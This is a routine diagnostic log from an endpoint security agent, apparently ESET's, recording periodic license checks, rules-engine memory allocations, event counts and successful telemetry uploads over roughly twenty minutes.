2026-03-04 11:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 11:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:28:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 11:28:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 11:28:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 11:28:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 11:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ModuleMetadata: 1885 KB; ProcessInfo: 1642 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 555 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; rules::ProcessConditionsCache: 257 KB; BaseEvent: 190 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 49 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129315 KB;
2026-03-04 11:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2013 KB; ModuleMetadata: 1885 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; TcpIpConnectionsManager: 534 KB; BaseEvent: 369 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; rules::ProcessConditionsCache: 252 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 97 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129905 KB;
2026-03-04 11:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2405 KB; ModuleMetadata: 1885 KB; TcpIpConnectionsManager: 560 KB; BaseEvent: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; ModuleInfoCache: 303 KB; rules::ProcessConditionsCache: 300 KB; CacheEntry: 277 KB; BatchSerializer::EventsQueueTag: 147 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130607 KB;
2026-03-04 11:31:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:27:48, To:, 2026-03-04 11:31:49, Duration (s):, 241, Events Per Second:, 17.121, Events:, 4131, File:, 8, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3418, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 704, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 462849
2026-03-04 11:31:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s389ms.
2026-03-04 11:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ModuleMetadata: 1885 KB; ProcessInfo: 1412 KB; TcpIpConnectionsManager: 611 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; rules::ProcessConditionsCache: 404 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 21 KB; ProcessInfoCommandLineTag: 10 KB; BaseEvent: 10 KB; BatchSerializer::EventsQueueTag: 3 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129100 KB;
2026-03-04 11:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ModuleMetadata: 1885 KB; ProcessInfo: 1796 KB; TcpIpConnectionsManager: 627 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; BaseEvent: 194 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 53 KB; rules::ProcessConditionsCache: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ProcessInfoCommandLineTag: 11 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129364 KB;
2026-03-04 11:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 11:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:33:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 11:33:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 11:33:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 11:33:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 11:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2157 KB; ModuleMetadata: 1885 KB; TcpIpConnectionsManager: 603 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; BaseEvent: 376 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 101 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 14 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129898 KB;
2026-03-04 11:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2548 KB; ModuleMetadata: 1885 KB; TcpIpConnectionsManager: 624 KB; BaseEvent: 562 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; rules::ProcessConditionsCache: 420 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; BatchSerializer::EventsQueueTag: 152 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130952 KB;
2026-03-04 11:35:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:31:49, To:, 2026-03-04 11:35:53, Duration (s):, 244, Events Per Second:, 16.814, Events:, 4106, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3414, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 691, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461047
2026-03-04 11:35:54 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s400ms.
2026-03-04 11:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1885 KB; ProcessInfo: 1332 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; rules::ProcessConditionsCache: 372 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BaseEvent: 3 KB; BatchSerializer::EventsQueueTag: 1 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 128928 KB;
2026-03-04 11:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1885 KB; ProcessInfo: 1694 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; TcpIpConnectionsManager: 540 KB; rules::ProcessConditionsCache: 364 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; BaseEvent: 185 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 47 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129484 KB;
2026-03-04 11:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2059 KB; ModuleMetadata: 1885 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; TcpIpConnectionsManager: 512 KB; BaseEvent: 364 KB; rules::ProcessConditionsCache: 348 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 95 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130030 KB;
2026-03-04 11:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 11:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:38:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 11:38:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 11:38:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 11:38:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 11:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2157 KB; ModuleMetadata: 1885 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; BaseEvent: 413 KB; TcpIpConnectionsManager: 407 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 108 KB; rules::ProcessConditionsCache: 60 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129804 KB;
2026-03-04 11:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2157 KB; ModuleMetadata: 1885 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; BaseEvent: 414 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; TcpIpConnectionsManager: 258 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 109 KB; rules::ProcessConditionsCache: 60 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129656 KB;
2026-03-04 11:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2157 KB; ModuleMetadata: 1885 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; BaseEvent: 416 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; cloudutils::CloudData: 130 KB; TcpIpConnectionsManager: 110 KB; BatchSerializer::EventsQueueTag: 109 KB; rules::ProcessConditionsCache: 60 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 0 KB; BatchStringTag: 0 KB; Total: 129510 KB;
2026-03-04 11:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2157 KB; ModuleMetadata: 1885 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; BaseEvent: 417 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 109 KB; TcpIpConnectionsManager: 66 KB; rules::ProcessConditionsCache: 60 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 0 KB; BatchStringTag: 0 KB; Total: 129467 KB;
2026-03-04 11:42:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:35:52, To:, 2026-03-04 11:42:53, Duration (s):, 421, Events Per Second:, 5.393, Events:, 2272, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 1868, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 403, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 254727
2026-03-04 11:42:54 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s184ms.
2026-03-04 11:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1885 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; ProcessInfo: 192 KB; cloudutils::CloudData: 130 KB; TcpIpConnectionsManager: 66 KB; rules::ProcessConditionsCache: 61 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; BatchSerializer::EventsQueueTag: 0 KB; BaseEvent: 0 KB; ExtendedTcpIpConnectionInfo: 0 KB; BatchStringTag: 0 KB; Total: 126974 KB;
2026-03-04 11:43:19 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:38:12, To:, 2026-03-04 11:43:19, Duration (s):, 307, Events Per Second:, 17.162, Events:, 5281, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 4399, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 881, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 587081
2026-03-04 11:43:21 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s365ms.
2026-03-04 11:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 11:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:43:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 11:43:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 11:43:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 11:43:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 11:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2335 KB; ModuleMetadata: 1885 KB; TcpIpConnectionsManager: 973 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleInfoCache: 304 KB; rules::ProcessConditionsCache: 288 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BaseEvent: 93 KB; BatchSerializer::EventsQueueTag: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 130369 KB;
2026-03-04 11:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2674 KB; ModuleMetadata: 1885 KB; TcpIpConnectionsManager: 1115 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; ModuleInfoCache: 304 KB; CacheEntry: 278 KB; BaseEvent: 258 KB; rules::ProcessConditionsCache: 244 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 67 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 131014 KB;
2026-03-04 11:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2922 KB; ModuleMetadata: 1885 KB; TcpIpConnectionsManager: 1220 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; BaseEvent: 375 KB; ModuleInfoCache: 304 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 107 KB; BatchSerializer::EventsQueueTag: 98 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 131381 KB;
2026-03-04 11:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 3112 KB; ModuleMetadata: 1885 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; BaseEvent: 466 KB; TcpIpConnectionsManager: 396 KB; rules::ProcessConditionsCache: 305 KB; ModuleInfoCache: 304 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 122 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 131063 KB;
2026-03-04 11:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 3448 KB; ModuleMetadata: 1885 KB; BaseEvent: 632 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; TcpIpConnectionsManager: 406 KB; ModuleInfoCache: 304 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 264 KB; BatchSerializer::EventsQueueTag: 165 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 131576 KB;
2026-03-04 11:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 11:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:48:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:43:20, To:, 2026-03-04 11:48:29, Duration (s):, 309, Events Per Second:, 13.415, Events:, 4148, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3424, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 723, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460417
2026-03-04 11:48:30 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s355ms.
2026-03-04 11:48:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 11:48:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 11:48:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 11:48:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 11:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1885 KB; ProcessInfo: 1197 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; TcpIpConnectionsManager: 481 KB; rules::ProcessConditionsCache: 337 KB; ModuleInfoCache: 304 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BaseEvent: 83 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128779 KB;
2026-03-04 11:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1885 KB; ProcessInfo: 1533 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; rules::ProcessConditionsCache: 319 KB; ModuleInfoCache: 304 KB; CacheEntry: 278 KB; BaseEvent: 256 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 69 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129390 KB;
2026-03-04 11:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 1900 KB; ModuleMetadata: 1885 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; BaseEvent: 435 KB; ModuleInfoCache: 304 KB; rules::ProcessConditionsCache: 303 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 115 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129982 KB;
2026-03-04 11:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2267 KB; ModuleMetadata: 1885 KB; BaseEvent: 612 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 547 KB; ModuleInfoCache: 304 KB; rules::ProcessConditionsCache: 293 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 162 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130567 KB;
